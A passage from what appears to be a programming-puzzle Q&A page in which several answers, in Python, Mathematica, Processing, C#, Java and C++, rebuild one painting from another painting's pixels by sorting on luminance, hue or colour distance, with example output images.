luminescence\npixelsP.sort()\nprint \"Getting the reference picture...\"\n# Open up the image and get all of the pixels out of it. (Memory intensive!)\nsource = Image.open(\"6.png\").convert(mode=\"RGB\")\npixelsR = [] # Allocate the array\nwidth,height = source.size # Unpack the image size\nfor y in range(height): # Scan the lines\n for x in range(width): # within the line, scan the pixels\n curpixel = source.getpixel((x,y)) # get the pixel\n pixelsR.append((GetLuminance(curpixel),(x,y))) # and add a (luminance, position) tuple\n# Sort the Reference pixels by luminance too\npixelsR.sort()\n# Now for the neat observation. Luminance matters more to humans than chromanance,\n# given this then we want to match luminance as well as we can. However, we have\n# a finite luminance distribution to work with. Since we can't change that, it's best\n# just to line the two images up, sorted by luminance, and just simply assign the\n# luminance directly. The chrominance will be all kinds of whack, but fixing that\n# by way of loose sorting possible chrominance errors takes this algorithm from O(n)\n# to O(n^2), which just takes forever (trust me, I've tried it.)\nprint \"Painting reference with palette...\"\nfor p in range(len(pixelsP)): # For each pixel in the palette\n pl,pixel = pixelsP[p] # Grab the pixel from the palette\n l,cord = pixelsR[p] # Grab the location from the reference\n source.putpixel(cord,pixel) # and assign the pallet pixel to the refrence pixels place\nprint \"Applying fixative...\"\n# save out the result.\nsource.save(\"o.png\",\"PNG\")\nprint \"Handing it to the master to see if he approves...\"\ncheck(palette, source)\nprint \"Done!\"\n```\nThe end result has some neat consequences. However, if the images have wildly different luminance distributions, there's not much that can be done without getting advanced and dithering, which might be an interesting thing to do at some point, but is excluded here as a matter of brevity.\n## Everything -> Mona Lisa\n![American Gothic -> Mona Lisa](https://i.stack.imgur.com/df9sc.png) ![Starry Night -> Mona Lisa](https://i.stack.imgur.com/aIIW8.png) ![Scream -> Mona Lisa](https://i.stack.imgur.com/ci3uD.png) ![River -> Mona Lisa](https://i.stack.imgur.com/hGjAZ.png) ![Spheres -> Mona Lisa](https://i.stack.imgur.com/tFyzb.png)\n## Mona Lisa -> Spheres\n![Mona Lisa -> Spheres](https://i.stack.imgur.com/UIAbA.png)\n[Answer]\n# Mathematica - random permutations\n### Idea\nSelect two pixels in the source image and check if the error to the destination image would decrease if theses two pixels would be swapped. We add a small random number (-d|+d) to the result to avoid local minima. Repeat. For speed do this with 10000 pixel at once.\nIt is a bit like a Markov random chain. It would probably be good to decrease the randomness during the optimization process similar to simulated annealing.\n### Code\n```\ncolorSpace = \"RGB\";\n\\[Delta] = 0.05;\nClearAll[loadImgur, imgToList, listToImg, improveN, err, rearrange, \\\nrearrangeImg]\nloadImgur[tag_] := \n RemoveAlphaChannel@\n Import[\"https://i.stack.imgur.com/\" <> tag <> \".png\"]\nimgToList[img_] := Flatten[ImageData[ColorConvert[img, colorSpace]], 1]\nlistToImg[u_, w_] := Image[Partition[u, w], ColorSpace -> colorSpace]\nerr[{x_, y_, z_}] := x^2 + y^2 + z^2\nimproveN[a_, t_, n_] := Block[{i, j, ai, aj, ti, tj},\n {i, j} = Partition[RandomSample[Range@Length@a, 2 n], n];\n ai = a[[i]];\n aj = a[[j]];\n ti = t[[i]];\n tj = t[[j]];\n ReplacePart[\n a, (#1 -> #3) & @@@ \n Select[Transpose[{i, \n err /@ (ai - ti) + err /@ (aj - tj) - err /@ (ai - tj) - \n err /@ (aj - ti) + RandomReal[\\[Delta]^2 {-1, +1}, n], aj}], #[[2]] > 0 &]]\n ]\nrearrange[ua_, ub_, iterations_: 100] := Block[{tmp = ua},\n Do[tmp = improveN[tmp, ub, Floor[.1 Length@ua]];, {i, iterations}]; \n tmp]\nrearrangeImg[a_, b_, iterations_: 100] := With[{imgdst = loadImgur[b]},\n listToImg[rearrange[\n RandomSample@imgToList@loadImgur[a],\n imgToList@imgdst, iterations], First@ImageDimensions@imgdst]]\nrearrangeImg[\"JXgho\",\"itzIe\"]\n```\n### Results\nGothic to Mona Lisa. Left: Using LAB color space (delta=0). Right: Using RBG color space (delta=0)\n![img7](https://i.stack.imgur.com/Ki2U6.png)\n![img8](https://i.stack.imgur.com/fBmSj.png)\nGothic to Mona Lisa. Left: RGB color space, delta=0.05. Right: RGB color space, delta=0.15.\n![img9](https://i.stack.imgur.com/l4OPG.png)\n![img10](https://i.stack.imgur.com/u19DH.png)\nThe following images show animations for around 3,500,000 swaps with RGB color space and delta=0.\n![img1](https://i.imgur.com/OYkW5Es.gif)\n![img2](https://i.imgur.com/pNLe9i6.gif)\n![img3](https://i.imgur.com/QSWa9Dc.gif)\n![img4](https://i.imgur.com/SQiYwXM.gif)\n![img5](https://i.imgur.com/Ij4zG7G.gif)\n![img6](https://i.imgur.com/m7lOm7L.gif)\n[Answer]\n# Processing\nThe source and palette are shown side-by-side, and there is an animation of the pixels being taken from the palette;\nIn the line `int i = chooseIndexIncremental();`, you can change the `chooseIndex*` functions to see the selection order of the pixels.\n```\nint scanRate = 20; // pixels per frame\n// image filenames\nString source = \"N6IGO.png\";\nString palette = \"JXgho.png\";\nPImage src, pal, res;\nint area;\nint[] lut;\nboolean[] processed;\nboolean[] taken;\nint count = 0;\nvoid start() {\n //size(800, 600);\n src = loadImage(source);\n pal = loadImage(palette);\n size(src.width + pal.width, max(src.height, pal.height));\n src.loadPixels();\n pal.loadPixels();\n int areaSrc = src.pixels.length;\n int areaPal = pal.pixels.length;\n if (areaSrc != areaPal) {\n println(\"Areas mismatch: src: \" + areaSrc + \", pal: \" + areaPal);\n return;\n }\n area = areaSrc;\n println(\"Area: \" + area);\n lut = new color[area];\n taken = new boolean[area];\n processed = new boolean[area];\n randomSeed(1);\n}\nvoid draw() {\n background(0);\n image(src, 0, 0);\n image(pal, src.width, 0);\n for (int k = 0; k < scanRate; k ++)\n if (count < area) {\n // choose from chooseIndexRandom, chooseIndexSkip and chooseIndexIncremental\n int i = chooseIndexIncremental();\n process(i);\n processed[i] = true;\n count ++;\n }\n}\nint chooseIndexRandom() {\n int i = 0;\n do i = (int) random(area); while (processed[i]);\n return i;\n}\nint chooseIndexSkip(int n) {\n int i = (n * count) % area;\n while (processed[i] || i >= area) i = (int) random(area);\n return i;\n}\nint chooseIndexIncremental() {\n return count;\n}\nvoid process(int i) {\n lut[i] = findPixel(src.pixels[i]);\n taken[lut[i]] = true;\n src.loadPixels();\n src.pixels[i] = pal.pixels[lut[i]];\n src.updatePixels();\n pal.loadPixels();\n pal.pixels[lut[i]] = color(0);\n pal.updatePixels();\n stroke(src.pixels[i]);\n int sy = i / src.width;\n int sx = i % src.width;\n int j = lut[i];\n int py = j / pal.width;\n int px = j % pal.width;\n line(sx, sy, src.width + px, py);\n}\nint findPixel(color c) {\n int best;\n do best = (int) random(area); while (taken[best]);\n float bestDist = colorDist(c, pal.pixels[best]);\n for (int k = 0; k < area; k ++) {\n if (taken[k]) continue;\n color c1 = pal.pixels[k];\n float dist = colorDist(c, c1);\n if (dist < bestDist) {\n bestDist = dist;\n best = k;\n }\n }\n return best;\n}\nfloat colorDist(color c1, color c2) {\n return S(red(c1) - red(c2)) + S(green(c1) - green(c2)) + S(blue(c1) - blue(c2));\n}\nfloat S(float x) { return x * x; }\n```\n## American Gothic -> Mona Lisa, incremental\n![incremental](https://i.stack.imgur.com/GBKCF.png)\n## American Gothic -> Mona Lisa, random\n![random](https://i.stack.imgur.com/r3xh5.png)\n[Answer]\n# C-Sharp\nNo new/exciting ideas, but I thought I'd give it a try. Simply sorts the pixels, prioritizing brightness over saturation over hue. The code is reasonably short though, for what its worth.\nEDIT: Added an even shorter version\n```\nusing System;\nusing System.Drawing;\nusing System.Collections.Generic;\nclass Program\n{\n static void Main(string[] args)\n {\n Bitmap sourceImg = new Bitmap(\"TheScream.png\"),\n arrangImg = new Bitmap(\"StarryNight.png\"),\n destImg = new Bitmap(arrangImg.Width, arrangImg.Height);\n List sourcePixels = new List(), arrangPixels = new List();\n for (int i = 0; i < sourceImg.Width; i++)\n for (int j = 0; j < sourceImg.Height; j++)\n sourcePixels.Add(new Pix(sourceImg.GetPixel(i, j), i, j));\n for (int i = 0; i < arrangImg.Width; i++)\n for (int j = 0; j < arrangImg.Height; j++)\n arrangPixels.Add(new Pix(arrangImg.GetPixel(i, j), i, j));\n sourcePixels.Sort();\n arrangPixels.Sort();\n for (int i = 0; i < arrangPixels.Count; i++)\n destImg.SetPixel(arrangPixels[i].x,\n arrangPixels[i].y,\n sourcePixels[i].col);\n destImg.Save(\"output.png\");\n }\n}\nclass Pix : IComparable\n{\n public Color col;\n public int x, y;\n public Pix(Color col, int x, int y)\n {\n this.col = col;\n this.x = x;\n this.y = y;\n }\n public int CompareTo(Pix other)\n {\n return(int)(255 * 255 * 255 * (col.GetBrightness() - other.col.GetBrightness())\n + (255 * (col.GetHue() - other.col.GetHue()))\n + (255 * 255 * (col.GetSaturation() - other.col.GetSaturation())));\n }\n}\n```\nSample:\n![enter image description here](https://i.stack.imgur.com/X2Sfd.png) \n# +\n![enter image description here](https://i.stack.imgur.com/7M5gs.png)\n# =\n![enter image description here](https://i.stack.imgur.com/3e2RH.png)\n[Answer]\n# Java\n```\nimport java.awt.image.BufferedImage;\nimport java.io.File;\nimport java.io.IOException;\nimport java.util.ArrayList;\nimport java.util.Collections;\nimport java.util.Iterator;\nimport java.util.List;\nimport javax.imageio.ImageIO;\n/**\n *\n * @author Quincunx\n */\npublic class PixelRearrangerMK2 {\n public static void main(String[] args) throws IOException {\n BufferedImage source = ImageIO.read(resource(\"Raytraced Spheres.png\"));\n BufferedImage palette = ImageIO.read(resource(\"American Gothic.png\"));\n BufferedImage result = rearrange(source, palette);\n ImageIO.write(result, \"png\", resource(\"result.png\"));\n validate(palette, result);\n }\n public static BufferedImage rearrange(BufferedImage source, BufferedImage palette) {\n List sColors = Color.getColors(source);\n List pColors = Color.getColors(palette);\n Collections.sort(sColors);\n Collections.sort(pColors);\n BufferedImage result = new BufferedImage(source.getWidth(), source.getHeight(), BufferedImage.TYPE_INT_RGB);\n Iterator sIter = sColors.iterator();\n Iterator pIter = pColors.iterator();\n while (sIter.hasNext()) {\n Color s = sIter.next();\n Color p = pIter.next();\n result.setRGB(s.x, s.y, p.rgb);\n }\n return result;\n }\n public static class Color implements Comparable {\n int x, y;\n int rgb;\n double hue;\n private int r, g, b;\n public Color(int x, int y, int rgb) {\n this.x = x;\n this.y = y;\n this.rgb = rgb;\n r = (rgb & 0xFF0000) >> 16;\n g = (rgb & 0x00FF00) >> 8;\n b = rgb & 0x0000FF;\n hue = Math.atan2(Math.sqrt(3) * (g - b), 2 * r - g - b);\n }\n @Override\n public int compareTo(Object o) {\n Color c = (Color) o;\n return hue < c.hue ? -1 : hue == c.hue ? 0 : 1;\n }\n public static List getColors(BufferedImage img) {\n List result = new ArrayList<>();\n for (int y = 0; y < img.getHeight(); y++) {\n for (int x = 0; x < img.getWidth(); x++) {\n result.add(new Color(x, y, img.getRGB(x, y)));\n }\n }\n return result;\n }\n }\n //Validation and util methods follow\n public static void validate(BufferedImage palette, BufferedImage result) {\n List paletteColors = getColorsAsInt(palette);\n List resultColors = getColorsAsInt(result);\n Collections.sort(paletteColors);\n Collections.sort(resultColors);\n System.out.println(paletteColors.equals(resultColors));\n }\n public static List getColorsAsInt(BufferedImage img) {\n int width = img.getWidth();\n int height = img.getHeight();\n List colors = new ArrayList<>(width * height);\n for (int x = 0; x < width; x++) {\n for (int y = 0; y < height; y++) {\n colors.add(img.getRGB(x, y));\n }\n }\n Collections.sort(colors);\n return colors;\n }\n public static File resource(String fileName) {\n return new File(System.getProperty(\"user.dir\") + \"/Resources/\" + fileName);\n }\n}\n```\nHere's a completely different idea. I create a list of the colors of each image, then I sort according to hue, which is computed by wikipedia's formula:\n![enter image description here](https://i.stack.imgur.com/T6W1g.png)\nUnlike my other answer, this is extremely fast. It takes about 2 seconds, including the validation.\nThe result is some abstract art. Here are some images (mouseover to see to/from):\n![enter image description here](https://i.stack.imgur.com/5g8Fa.png \"Mona Lisa -> American Gothic\")\n![enter image description here](https://i.stack.imgur.com/nYmCj.png \"Mona Lisa -> River\")\n![enter image description here](https://i.stack.imgur.com/jnRoG.png \"Mona Lisa -> Raytraced Spheres\")\n![enter image description here](https://i.stack.imgur.com/HffdP.png \"American Gothic -> Mona Lisa\")\n![enter image description here](https://i.stack.imgur.com/gzOvf.png \"Scream -> Mona Lisa\")\n![enter image description here](https://i.stack.imgur.com/hEFyz.png \"Starry Night -> Mona Lisa\")\n![enter image description here](https://i.stack.imgur.com/dNycp.png \"Scream -> Starry Night\")\n[Answer]\n# Python\nWell, I decided I might as well post my solution, since I spent the time to do it. Essentially, what I figured I would do is get the raw pixel data of the images, sort the the data by brightness, and then put the values of the same index into a new image. I changed my mind about the brightness, and used luminance instead. I got some pretty good results with this.\n```\nfrom PIL import Image\nfrom optparse import OptionParser\ndef key_func(arr):\n # Sort the pixels by luminance\n r = 0.2126*arr[0] + 0.7152*arr[1] + 0.0722*arr[2]\n return r\ndef main():\n # Parse options from the command line\n parser = OptionParser()\n parser.add_option(\"-p\", \"--pixels\", dest=\"pixels\",\n help=\"use pixels from FILE\", metavar=\"FILE\")\n parser.add_option(\"-i\", \"--input\", dest=\"input\", metavar=\"FILE\",\n help=\"recreate FILE\")\n parser.add_option(\"-o\", \"--out\", dest=\"output\", metavar=\"FILE\",\n help=\"output to FILE\", default=\"output.png\")\n (options, args) = parser.parse_args()\n if not options.pixels or not options.input:\n raise Exception(\"Missing arguments. See help for more info.\")\n # Load the images\n im1 = Image.open(options.pixels)\n im2 = Image.open(options.input)\n # Get the images into lists\n px1 = list(im1.getdata())\n px2 = list(im2.getdata())\n w1, h1 = im1.size\n w2, h2 = im2.size\n if w1*h1 != w2*h2:\n raise Exception(\"Images must have the same number of pixels.\")\n # Sort the pixels lists by luminance\n px1_s = sorted(px1, key=key_func)\n px2_s = sorted(px2, key=key_func)\n # Create an array of nothing but black pixels\n arr = [(0, 0, 0)]*w2*h2\n # Create a dict that contains a list of locations with pixel value as key\n # This speeds up the process a lot, since before it was O(n^2)\n locations_cache = {}\n for index, val in enumerate(px2):\n v = str(val)\n if v in locations_cache:\n locations_cache[v].append(index)\n else:\n locations_cache[v] = [index]\n # Loop through each value of the sorted pixels\n for index, val in enumerate(px2_s):\n # Find the original location of the pixel\n # v = px2.index(val)\n v = locations_cache[str(val)].pop(0)\n # Set the value of the array at the given location to the pixel of the\n # equivalent luminance from the source image\n arr[v] = px1_s[index]\n # v2 = px1.index(px1_s[index])\n # Set the value of px2 to an arbitrary value outside of the RGB range\n # This prevents duplicate pixel locations\n # I would use \"del px2[v]\", but it wouldn't work for some reason\n px2[v] = (512, 512, 512)\n # px1[v2] = (512, 512, 512)\n # Print the percent progress\n print(\"%f%%\" % (index/len(px2)*100))\n \"\"\"if index % 500 == 0 or index == len(px2_s)-1:\n if h1 > h2:\n size = (w1+w2, h1)\n else:\n size = (w1+w2, h2)\n temp_im1 = Image.new(\"RGB\", im2.size)\n temp_im1.putdata(arr)\n temp_im2 = Image.new(\"RGB\", im1.size)\n temp_im2.putdata(px1)\n temp_im3 = Image.new(\"RGB\", size)\n temp_im3.paste(temp_im1, (0, 0))\n temp_im3.paste(temp_im2, (w2, 0))\n temp_im3.save(\"still_frames/img_%04d.png\" % (index/500))\"\"\"\n # Save the image\n im3 = Image.new('RGB', im2.size)\n im3.putdata(arr)\n im3.save(options.output)\nif __name__ == '__main__':\n main()\n```\n## Results\nI was pretty happy with the results. It seemed to work consistently for all of the images I put through it.\n### Starry Night with Scream Pixels\n![Scream+Starry Night](https://i.stack.imgur.com/X6hKD.png)\n### Starry Night with Rainbow Pixels\n![Rainbow+Starry Night](https://i.stack.imgur.com/ggS2n.png)\n### Rainbow with Starry Night Pixels\n![Starry Night+Rainbow](https://i.stack.imgur.com/ZCNA5.png)\n### Mona Lisa with Scream Pixels\n![Scream+Mona Lisa](https://i.stack.imgur.com/B5WJp.png)\n### River with Starry Night Pixels\n![Starry Night+River](https://i.stack.imgur.com/1Q1Lk.png)\n### Mona Lisa with American Gothic Pixels\n![Gothic+Mona Lisa](https://i.stack.imgur.com/w7skd.png)\n### Mustang with Chevy Pixels\nI should probably have scaled the images down given my hardware constraints, but oh well.\n![Chevy+Mustang](https://i.stack.imgur.com/DWEFS.png)\n### Chevy with Mustang Pixels\n![Mustang+Chevy](https://i.stack.imgur.com/D0aVt.png)\n### River with Rainbow Pixels\n![Rainbow+River](https://i.stack.imgur.com/2QMK4.png)\n### Mona Lisa with Rainbow Pixels\n![Rainbow+Mona Lisa](https://i.stack.imgur.com/L2JFy.png)\n### American Gothic with Rainbow Pixels\n![Rainbow+Gothic](https://i.stack.imgur.com/nVH8z.png)\n---\n**Update** I've added a few more pictures, and here are a couple of animations. The first shows how my method worked, and the second is using the script @Calvin'sHobbies posted.\n![My method](https://i.stack.imgur.com/Zp9zH.gif)\n![@Calvin'sHobbies script](https://i.stack.imgur.com/gUzsW.gif)\n---\n**Update 2** I added a dict storing the indices of pixels by their color. This made the script way more efficient. To see the original, check the revision history.\n[Answer]\n# C++11\nIn the end, I settled on a relatively simple deterministic greedy algorithm. This is single threaded, but runs in a hair over 4 seconds on my machine.\nThe basic algorithm works by sorting all the pixels in both the palette and the target image by decreasing luminance (the L of [L*a*b\\*](http://en.wikipedia.org/wiki/L*a*b*)). Then, for each of those ordered target pixels it searches for the closest match in the first 75 entries of the palette, using the square of the [CIEDE2000](http://en.wikipedia.org/wiki/Color_difference#CIEDE2000) distance metric with the luminance of the palette colors clamped to that of the target. (For implementation and debugging of CIEDE2000, [this page](http://www.ece.rochester.edu/~gsharma/ciede2000/) was very helpful). The best match is then removed from the palette, assigned to the result and the algorithm goes on to the next lightest pixel in the target image.\nBy using sorted luminance for both the target and the palette, we ensure that the overall luminance (the most visually salient element) of the result matches the target as closely as possible. Using a small window of 75 entries gives it a good shot at finding a matching color of about the right brightness, if there is one. If there isn't one, then the color will be off, but at least the brightness should be consistent. As a result, it degrades fairly gracefully when the palette colors don't match well.\n## Code\nTo compile this you will need the ImageMagick++ development libraries. A\nsmall CMake file to compile it is also included below.\n### palette.cpp\n```\n#include \n#include \n#include \n#include \n#include \nusing namespace std;\nusing namespace Magick;\nstruct Lab\n{\n PixelPacket rgb;\n float L, a, b;\n explicit Lab(\n PixelPacket rgb )\n : rgb( rgb )\n {\n auto R_srgb = static_cast< float >( rgb.red ) / QuantumRange;\n auto G_srgb = static_cast< float >( rgb.green ) / QuantumRange;\n auto B_srgb = static_cast< float >( rgb.blue ) / QuantumRange;\n auto R_lin = R_srgb < 0.04045f ? R_srgb / 12.92f :\n powf( ( R_srgb + 0.055f ) / 1.055f, 2.4f );\n auto G_lin = G_srgb < 0.04045f ? G_srgb / 12.92f :\n powf( ( G_srgb + 0.055f ) / 1.055f, 2.4f );\n auto B_lin = B_srgb < 0.04045f ? B_srgb / 12.92f :\n powf( ( B_srgb + 0.055f ) / 1.055f, 2.4f );\n auto X = 0.4124f * R_lin + 0.3576f * G_lin + 0.1805f * B_lin;\n auto Y = 0.2126f * R_lin + 0.7152f * G_lin + 0.0722f * B_lin;\n auto Z = 0.0193f * R_lin + 0.1192f * G_lin + 0.9502f * B_lin;\n auto X_norm = X / 0.9505f;\n auto Y_norm = Y / 1.0000f;\n auto Z_norm = Z / 1.0890f;\n auto fX = ( X_norm > 216.0f / 24389.0f ?\n powf( X_norm, 1.0f / 3.0f ) :\n X_norm * ( 841.0f / 108.0f ) + 4.0f / 29.0f );\n auto fY = ( Y_norm > 216.0f / 24389.0f ?\n powf( Y_norm, 1.0f / 3.0f ) :\n Y_norm * ( 841.0f / 108.0f ) + 4.0f / 29.0f );\n auto fZ = ( Z_norm > 216.0f / 24389.0f ?\n powf( Z_norm, 1.0f / 3.0f ) :\n Z_norm * ( 841.0f / 108.0f ) + 4.0f / 29.0f );\n L = 116.0f * fY - 16.0f;\n a = 500.0f * ( fX - fY );\n b = 200.0f * ( fY - fZ );\n }\n bool operator<(\n Lab const that ) const\n {\n return ( L > that.L ? true :\n L < that.L ? false :\n a > that.a ? true :\n a < that.a ? false :\n b > that.b );\n }\n Lab clampL(\n Lab const that ) const\n {\n auto result = Lab( *this );\n if ( result.L > that.L )\n result.L = that.L;\n return result;\n }\n float cieDe2000(\n Lab const that,\n float const k_L = 1.0f,\n float const k_C = 1.0f,\n float const k_H = 1.0f ) const\n {\n auto square = []( float value ){ return value * value; };\n auto degs = []( float rad ){ return rad * 180.0f / 3.14159265359f; };\n auto rads = []( float deg ){ return deg * 3.14159265359f / 180.0f; };\n auto C_1 = hypot( a, b );\n auto C_2 = hypot( that.a, that.b );\n auto C_bar = ( C_1 + C_2 ) * 0.5f;\n auto C_bar_7th = square( square( C_bar ) ) * square( C_bar ) * C_bar;\n auto G = 0.5f * ( 1.0f - sqrtf( C_bar_7th / ( C_bar_7th + 610351562.0f ) ) );\n auto a_1_prime = ( 1.0f + G ) * a;\n auto a_2_prime = ( 1.0f + G ) * that.a;\n auto C_1_prime = hypot( a_1_prime, b );\n auto C_2_prime = hypot( a_2_prime, that.b );\n auto h_1_prime = C_1_prime == 0.0f ? 0.0f : degs( atan2f( b, a_1_prime ) );\n if ( h_1_prime < 0.0f )\n h_1_prime += 360.0f;\n auto h_2_prime = C_2_prime == 0.0f ? 0.0f : degs( atan2f( that.b, a_2_prime ) );\n if ( h_2_prime < 0.0f )\n h_2_prime += 360.0f;\n auto delta_L_prime = that.L - L;\n auto delta_C_prime = C_2_prime - C_1_prime;\n auto delta_h_prime =\n C_1_prime * C_2_prime == 0.0f ? 0 :\n fabs( h_2_prime - h_1_prime ) <= 180.0f ? h_2_prime - h_1_prime :\n h_2_prime - h_1_prime > 180.0f ? h_2_prime - h_1_prime - 360.0f :\n h_2_prime - h_1_prime + 360.0f;\n auto delta_H_prime = 2.0f * sqrtf( C_1_prime * C_2_prime ) *\n sinf( rads( delta_h_prime * 0.5f ) );\n auto L_bar_prime = ( L + that.L ) * 0.5f;\n auto C_bar_prime = ( C_1_prime + C_2_prime ) * 0.5f;\n auto h_bar_prime =\n C_1_prime * C_2_prime == 0.0f ? h_1_prime + h_2_prime :\n fabs( h_1_prime - h_2_prime ) <= 180.0f ? ( h_1_prime + h_2_prime ) * 0.5f :\n h_1_prime + h_2_prime < 360.0f ? ( h_1_prime + h_2_prime + 360.0f ) * 0.5f :\n ( h_1_prime + h_2_prime - 360.0f ) * 0.5f;\n auto T = ( 1.0f\n - 0.17f * cosf( rads( h_bar_prime - 30.0f ) )\n + 0.24f * cosf( rads( 2.0f * h_bar_prime ) )\n + 0.32f * cosf( rads( 3.0f * h_bar_prime + 6.0f ) )\n - 0.20f * cosf( rads( 4.0f * h_bar_prime - 63.0f ) ) );\n auto delta_theta = 30.0f * expf( -square( ( h_bar_prime - 275.0f ) / 25.0f ) );\n auto C_bar_prime_7th = square( square( C_bar_prime ) ) *\n square( C_bar_prime ) * C_bar_prime;\n auto R_C = 2.0f * sqrtf( C_bar_prime_7th / ( C_bar_prime_7th + 610351562.0f ) );\n auto S_L = 1.0f + ( 0.015f * square( L_bar_prime - 50.0f ) /\n sqrtf( 20.0f + square( L_bar_prime - 50.0f ) ) );\n auto S_C = 1.0f + 0.045f * C_bar_prime;\n auto S_H = 1.0f + 0.015f * C_bar_prime * T;\n auto R_T = -sinf( rads( 2.0f * delta_theta ) ) * R_C;\n return (\n square( delta_L_prime / ( k_L * S_L ) ) +\n square( delta_C_prime / ( k_C * S_C ) ) +\n square( delta_H_prime / ( k_H * S_H ) ) +\n R_T * delta_C_prime * delta_H_prime / ( k_C * S_C * k_H * S_H ) );\n }\n};\nImage read_image(\n char * const filename )\n{\n auto result = Image( filename );\n result.type( TrueColorType );\n result.matte( true );\n result.backgroundColor( Color( 0, 0, 0, QuantumRange ) );\n return result;\n}\ntemplate< typename T >\nmultiset< T > map_image(\n Image const &image,\n function< T( unsigned, PixelPacket ) > const transform )\n{\n auto width = image.size().width();\n auto height = image.size().height();\n auto result = multiset< T >();\n auto pixels = image.getConstPixels( 0, 0, width, height );\n for ( auto index = 0; index < width * height; ++index, ++pixels )\n result.emplace( transform( index, *pixels ) );\n return result;\n}\nint main(\n int argc,\n char **argv )\n{\n auto palette = map_image(\n read_image( argv[ 1 ] ),\n function< Lab( unsigned, PixelPacket ) >(\n []( unsigned index, PixelPacket rgb ) {\n return Lab( rgb );\n } ) );\n auto target_image = read_image( argv[ 2 ] );\n auto target_colors = map_image(\n target_image,\n function< pair< Lab, unsigned >( unsigned, PixelPacket ) >(\n []( unsigned index, PixelPacket rgb ) {\n return make_pair( Lab( rgb ), index );\n } ) );\n auto pixels = target_image.setPixels(\n 0, 0,\n target_image.size().width(),\n target_image.size().height() );\n for ( auto &&target : target_colors )\n {\n auto best_color = palette.begin();\n auto best_difference = 1.0e38f;\n auto count = 0;\n for ( auto candidate = palette.begin();\n candidate != palette.end() && count < 75;\n ++candidate, ++count )\n {\n auto difference = target.first.cieDe2000(\n candidate->clampL( target.first ) );\n if ( difference < best_difference )\n {\n best_color = candidate;\n best_difference = difference;\n }\n }\n pixels[ target.second ] = best_color->rgb;\n palette.erase( best_color );\n }\n target_image.syncPixels();\n target_image.write( argv[ 3 ] );\n return 0;\n}\n```\n### CMakeList.txt\n```\ncmake_minimum_required( VERSION 2.8.11 )\nproject( palette )\nadd_executable( palette palette.cpp)\nfind_package( ImageMagick COMPONENTS Magick++ )\nif( ImageMagick_FOUND )\n include_directories( ${ImageMagick_INCLUDE_DIRS} )\n target_link_libraries( palette ${ImageMagick_LIBRARIES} )\nendif( ImageMagick_FOUND )\n```\n## Result\nThe full album is [here.](https://i.stack.imgur.com/20lrd.jpg) Of the results below, my favorites are probably American Gothic with the Mona Lisa palette, and Starry Night with the Spheres palette.\n### American Gothic Palette\n![](https://i.stack.imgur.com/57pzd.png)\n![](https://i.stack.imgur.com/hOj1D.png)\n![](https://i.stack.imgur.com/2Y5ER.png)\n![](https://i.stack.imgur.com/IgM0n.png)\n![](https://i.stack.imgur.com/bkKpD.png)\n### Mona Lisa Palette\n![](https://i.stack.imgur.com/7gPHl.png)\n![](https://i.stack.imgur.com/4308A.png)\n![](https://i.stack.imgur.com/CZ2JG.png)\n![](https://i.stack.imgur.com/MESnf.png)\n![](https://i.stack.imgur.com/FhJnz.png)\n### River Palette\n![](https://i.stack.imgur.com/MmQ1C.png)\n![](https://i.stack.imgur.com/NOFCO.png)\n![](https://i.stack.imgur.com/8jqCR.png)\n![](https://i.stack.imgur.com/S9bsr.png)\n![](https://i.stack.imgur.com/Dn8C7.png)\n### The Scream Palette\n![](https://i.stack.imgur.com/B0qgT.png)\n![](https://i.stack.imgur.com/tWqrx.png)\n![](https://i.stack.imgur.com/AJzqi.png)\n![](https://i.stack.imgur.com/ozc9L.png)\n![](https://i.stack.imgur.com/uO4hh.png)\n### Spheres Palette\n![](https://i.stack.imgur.com/HecPy.png)\n![](https://i.stack.imgur.com/rbefd.png)\n![](https://i.stack.imgur.com/e7FaK.png)\n![](https://i.stack.imgur.com/VKToz.png)\n![](https://i.stack.imgur.com/76ewR.png)\n### Starry Night Palette\n![](https://i.stack.imgur.com/kAfJl.png)\n![](https://i.stack.imgur.com/RTzWF.png)\n![](https://i.stack.imgur.com/g1DzC.png)\n![](https://i.stack.imgur.com/Eczh8.png)\n![](https://i.stack.imgur.com/CgX5X.png)\n[Answer]\n## C++\nNot the shortest code, but generates the answer 'instantly' despite being single-threaded and un-optimized. I am pleased with the results.\nI generate two sorted lists of pixels, one for each image, and the sorting is based on a weighted value of 'brightness'. I use 100% green, 50% red and 10% blue to calculate the brightness, weighting it for the human eye (more or less). I then swap pixels in the source image for their same indexed pixel in the palette image, and write out the destination image.\nI use the FreeImage library to read/write the image files.\n## Code\n```\n/* Inputs: 2 image files of same area\nOutputs: image1 made from pixels of image2*/\n#include \n#include \n#include \"FreeImage.h\"\n#include \n#include \nclass pixel\n{\npublic:\n int x, y;\n BYTE r, g, b;\n float val; //color value; weighted 'brightness'\n};\nbool sortByColorVal(const pixel &lhs, const pixel &rhs) { return lhs.val > rhs.val; }\nFIBITMAP* GenericLoader(const char* lpszPathName, int flag) \n{\n FREE_IMAGE_FORMAT fif = FIF_UNKNOWN;\n // check the file signature and deduce its format\n // (the second argument is currently not used by FreeImage)\n fif = FreeImage_GetFileType(lpszPathName, 0);\n if (fif == FIF_UNKNOWN) \n {\n // no signature ?\n // try to guess the file format from the file extension\n fif = FreeImage_GetFIFFromFilename(lpszPathName);\n }\n // check that the plugin has reading capabilities ...\n if ((fif != FIF_UNKNOWN) && FreeImage_FIFSupportsReading(fif)) \n {\n // ok, let's load the file\n FIBITMAP *dib = FreeImage_Load(fif, lpszPathName, flag);\n // unless a bad file format, we are done !\n return dib;\n }\n return NULL;\n}\nbool GenericWriter(FIBITMAP* dib, const char* lpszPathName, int flag) \n{\n FREE_IMAGE_FORMAT fif = FIF_UNKNOWN;\n BOOL bSuccess = FALSE;\n if (dib) \n {\n // try to guess the file format from the file extension\n fif = FreeImage_GetFIFFromFilename(lpszPathName);\n if (fif != FIF_UNKNOWN) \n {\n // check that the plugin has sufficient writing and export capabilities ...\n WORD bpp = FreeImage_GetBPP(dib);\n if (FreeImage_FIFSupportsWriting(fif) && FreeImage_FIFSupportsExportBPP(fif, bpp)) \n {\n // ok, we can save the file\n bSuccess = FreeImage_Save(fif, dib, lpszPathName, flag);\n // unless an abnormal bug, we are done !\n }\n }\n }\n return (bSuccess == TRUE) ? true : false;\n}\nvoid FreeImageErrorHandler(FREE_IMAGE_FORMAT fif, const char *message) \n{\n std::cout << std::endl << \"*** \";\n if (fif != FIF_UNKNOWN) \n {\n std::cout << \"ERROR: \" << FreeImage_GetFormatFromFIF(fif) << \" Format\" << std::endl;\n }\n std::cout << message;\n std::cout << \" ***\" << std::endl;\n}\nFIBITMAP* Convert24BPP(FIBITMAP* dib)\n{\n 